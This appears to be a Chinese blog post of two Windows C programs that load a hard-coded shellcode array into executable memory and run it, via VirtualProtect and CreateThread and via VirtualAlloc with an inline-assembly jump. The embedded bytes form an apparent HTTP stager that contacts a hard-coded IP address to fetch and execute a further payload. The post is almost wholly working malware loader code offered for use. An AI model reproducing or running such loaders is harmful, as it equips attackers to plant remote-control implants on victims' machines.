0%

C-03_加载shellcode

加载shellcode到内存执行

1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

void main() {

unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x50\x00\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x44\x6f\x67\x43\x73\x44\x6f\x67\x43\x73\x2e\x6a\x73\x00\xce\x32\x3f\xe1\xbc\x7e\xdf\x16\xc5\xec\xd3\x08\xa5\xa9\xfd\xe8\x0c\x62\x21\x9e\x58\x71\xdb\xc4\x1c\xb5\xb7\x6a\x51\x66\x5b\x16\x92\xe3\x50\x3e\xb9\x43\x9e\xab\xc4\xa6\x36\x6c\x68\xaa\x2a\x9c\xe8\xcd\x32\xc3\x22\x78\x77\x17\xb0\xb6\xae\x7d\x2c\xbb\x0c\x04\x0e\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x29\x0d\x0a\x00\x99\xc4\xdc\xc9\x44\xd2\x8a\xbf\x32\xa7\x06\x20\x29\x57\x58\x03\x21\xae\xab\x53\x2b\x60\xe6\x68\xcd\xcb\xc0\xee\x23\xb5\x0b\xa0\xa7\xf0\x61\xec\x55\x34\x3e\x5c\xaa\xe3\x9f\xb0\x6c\xa8\xd3\x05\xfd\xb4\x9b\xad\xed\x36\x4b\xee\x9d\xec\xfa\x18\x6d\xf1\x33\xc7\x88\x3a\x64\x77\x98\x98\x26\x89\xcb\xa9\x51\x39\xe8\x50\xa5\xba\xaf\xe4\x9b\x2f\x51\x99\x44\xac\x5f\xcf\xbc\x8a\xac\x06\xa7\x59\x1a\xf4\xfd\xc7\x34\xe7\xdc\xd0\xd6\x38\x64\x53\xbc\xea\x6e\x75\xcc\x87\x50\x99\xee\x5a\xaa\x10\xf0\x75\x16\x75\xe5\x80\x10\xe3\xb6\x7f\xe6\x2f\xc5\xcb\x5c\x2c\x6b\xbb\xb4\x73\x90\x9e\x4a\x7f\xef\x8a\xe0\x51\x25\x71\x00\x14\xdd\x20\x6d\xda\x86\x08\xef\x90\x83\x32\x76\xb5\xf4\xcc\xdd\x4f\x0d\x7e\xb2\xb9\xbb\x9d\x62\x2b\xc7\xfe\xf8\xdb\xe3\x57\x6c\x1a\xe8\x36\x08\x82\x97\xd2\xde\x3e\x53\x38\xb5\xb1\x19\xb3\x83\xe9\x39\xce\x06\xd5\x8f\x5b\x56\xc3\xdf\xa4\xfa\xda\xc8\xcf\x31\x63\x5b\x03\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x38\x31\x2e\x31\x00\x05\xf5\xe1\x00";

DWORD p;
VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &p);

HANDLE hd = CreateThread(0, 0, buf, 0, 0, 0);

WaitForSingleObject(hd, INFINITE);

}
2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>


void main() {

unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x50\x00\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x44\x6f\x67\x43\x73\x44\x6f\x67\x43\x73\x2e\x6a\x73\x00\xce\x32\x3f\xe1\xbc\x7e\xdf\x16\xc5\xec\xd3\x08\xa5\xa9\xfd\xe8\x0c\x62\x21\x9e\x58\x71\xdb\xc4\x1c\xb5\xb7\x6a\x51\x66\x5b\x16\x92\xe3\x50\x3e\xb9\x43\x9e\xab\xc4\xa6\x36\x6c\x68\xaa\x2a\x9c\xe8\xcd\x32\xc3\x22\x78\x77\x17\xb0\xb6\xae\x7d\x2c\xbb\x0c\x04\x0e\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x29\x0d\x0a\x00\x99\xc4\xdc\xc9\x44\xd2\x8a\xbf\x32\xa7\x06\x20\x29\x57\x58\x03\x21\xae\xab\x53\x2b\x60\xe6\x68\xcd\xcb\xc0\xee\x23\xb5\x0b\xa0\xa7\xf0\x61\xec\x55\x34\x3e\x5c\xaa\xe3\x9f\xb0\x6c\xa8\xd3\x05\xfd\xb4\x9b\xad\xed\x36\x4b\xee\x9d\xec\xfa\x18\x6d\xf1\x33\xc7\x88\x3a\x64\x77\x98\x98\x26\x89\xcb\xa9\x51\x39\xe8\x50\xa5\xba\xaf\xe4\x9b\x2f\x51\x99\x44\xac\x5f\xcf\xbc\x8a\xac\x06\xa7\x59\x1a\xf4\xfd\xc7\x34\xe7\xdc\xd0\xd6\x38\x64\x53\xbc\xea\x6e\x75\xcc\x87\x50\x99\xee\x5a\xaa\x10\xf0\x75\x16\x75\xe5\x80\x10\xe3\xb6\x7f\xe6\x2f\xc5\xcb\x5c\x2c\x6b\xbb\xb4\x73\x90\x9e\x4a\x7f\xef\x8a\xe0\x51\x25\x71\x00\x14\xdd\x20\x6d\xda\x86\x08\xef\x90\x83\x32\x76\xb5\xf4\xcc\xdd\x4f\x0d\x7e\xb2\xb9\xbb\x9d\x62\x2b\xc7\xfe\xf8\xdb\xe3\x57\x6c\x1a\xe8\x36\x08\x82\x97\xd2\xde\x3e\x53\x38\xb5\xb1\x19\xb3\x83\xe9\x39\xce\x06\xd5\x8f\x5b\x56\xc3\xdf\xa4\xfa\xda\xc8\xcf\x31\x63\x5b\x03\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x38\x31\x2e\x31\x00\x05\xf5\xe1\x00";

char* code = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

CopyMemory(code, buf, sizeof(buf));

// CreateThread(0, 0, code, 0, 0, 0); //或者asm 内联汇编
_asm {
mov eax, code //地址
push eax
ret
}
//system("pause");
}

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------